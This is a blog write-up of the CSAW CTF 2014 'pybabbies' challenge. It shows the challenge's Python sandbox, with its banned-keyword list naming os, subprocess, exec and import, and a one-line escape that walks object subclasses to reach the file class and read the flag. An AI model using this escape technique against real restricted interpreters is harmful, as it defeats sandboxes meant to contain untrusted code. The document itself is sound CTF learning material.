CSAW CTF 2014 is the second CTF contest I’ve attended ( the first one was the HITCON CTF 2014 ) . Since this is the first time I’ve actually solved something in the contest, I decide to post my first own writeup .
I’ve solved 4 challenges in the contest : Trivia 10 – We don’t know either , Exploitation 100 – bo , Exploitation 200 – pybabbies and Expoitation 400 – saturn. We don’t know either & bo are easy, so I won’t post their writeups. This writeup is for the Exploitation 200 – pybabbies.
The challenge gave us a python script call pyshell.py. After we take a good look at it, we’ll know that this is a self-made python shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
this python shell allow us to send & execute a python command. But unlike the normal one, this python shell banned some strings such as import
, os
, sys
……etc. Moreover, it delete almost all the reference to an object, except raw_input
& print
.
To put it short, we can’t call any function except raw_input
& print
, and we can’t use import
, os
, sys
…., either. The goal is to print the flag, so we can either use os.system("cat flag")
or use f = open("flag", "r").read()
and print it out. But now since it banned us to use those command, we’ll have to find a new way to get the flag.
After doing some research on the internet, I found this link, which lead us to the right direction. Although in script they delete the reference to an object, we can still use ().__class__.__bases__[0].__subclasses__()
to get the object directly. By using the method mentioned in the blog, I successfully get the file
object, which give me the ability to open a file and read it.
So here is the exploitation:
- First, we use
().__class__.__bases__[0].__subclasses__()[40]
as thefile
object to read the flag into a variable - Simply print out the variable to get the flag
we’ll have to guess the filename of the flag, which is “key”, so the actual progress will be like this:
1
2
3
4
5
6
Welcome to my Python sandbox! Enter commands below!
>>> a = ().__class__.__bases__[0].__subclasses__()[40]("./key").read()
>>> print(a)
flag{definitely_not_intro_python}
>>>
reference: Escaping Python Sandboxes
Comments powered by Disqus.